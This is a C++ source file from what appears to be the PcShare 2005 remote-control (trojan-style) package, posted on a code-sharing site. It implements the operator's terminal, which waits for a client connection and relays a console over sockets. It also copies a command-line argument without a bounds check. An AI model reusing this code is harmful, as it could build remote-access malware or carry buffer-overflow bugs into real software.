pctlnt.cpp
来自「PC share 2005 vip源代码」· C++ 代码 · 共 117 行
CPP
117 行
// PcTlnt.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "PcTlnt.h"
#include "stdafx.h"
#include <windows.h>
#include <winsock.h>
#include <process.h>
#include "SocketRx.h"
#include "SocketDx.h"
#include "SocketTx.h"
#include <conio.h>
#include <signal.h>
#include "MySocketDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// 唯一的应用程序对象
CWinApp theApp;
using namespace std;
HANDLE stdin1;
HANDLE stdout1;
HANDLE stderr1;
HANDLE hThread[2];
HANDLE hEvent;
void sig_int(int signo)
{
TerminateThread(hThread[0],0);
TerminateThread(hThread[1],0);
exit(0);
}
BOOL WaitForTrans(HANDLE m_WaitEvent)
{
MSG msg;
while (1)
{
if(WaitForSingleObject(m_WaitEvent, 1)
!= WAIT_TIMEOUT)
break;
while(PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return TRUE;
}
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRet;
nRet = AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0);
if ( nRet == FALSE )
{
printf("\nAfxWinInit Fail..............!\n");
return 0;
}
//标题
char m_Title[256] = {0};
strcpy(m_Title, argv[1]);
char* pFind = strrchr(m_Title,':');
if(pFind != NULL)
{
*(pFind + 9) = 0;
}
//初始化SOCKET环境
WSADATA data;
if(WSAStartup(MAKEWORD(2, 2), &data))
return FALSE;
if (LOBYTE(data.wVersion) !=2 ||
HIBYTE(data.wVersion) != 2)
{
WSACleanup();
return FALSE;
}
//等待套接字连接
SetConsoleTitle("PcShare超级终端-等待客户机连接");
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
CMySocketDlg dlg(m_Title, hEvent);
if(!dlg.Create(dlg.IDD, NULL))
return -1;
WaitForTrans(hEvent);
CloseHandle(hEvent);
dlg.DestroyWindow();
//启动中断信号
signal(SIGINT,sig_int);
signal(SIGTERM,sig_int);
signal(SIGABRT,sig_int);
BringWindowToTop(AfxGetMainWnd()->GetSafeHwnd());
stdin1 = GetStdHandle(STD_INPUT_HANDLE);
stdout1 = GetStdHandle(STD_OUTPUT_HANDLE);
stderr1 = GetStdHandle(STD_ERROR_HANDLE);
SetConsoleMode(stdin1,ENABLE_LINE_INPUT|ENABLE_ECHO_INPUT|ENABLE_PROCESSED_INPUT);
CSocketRx SocketRx(dlg.m_soRecv,hThread[0]);
CSocketTx SocketTx(dlg.m_soSend,hThread[1]);
SetConsoleTitle(m_Title);
WaitForMultipleObjects(2,hThread,FALSE,INFINITE);
return 0;
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?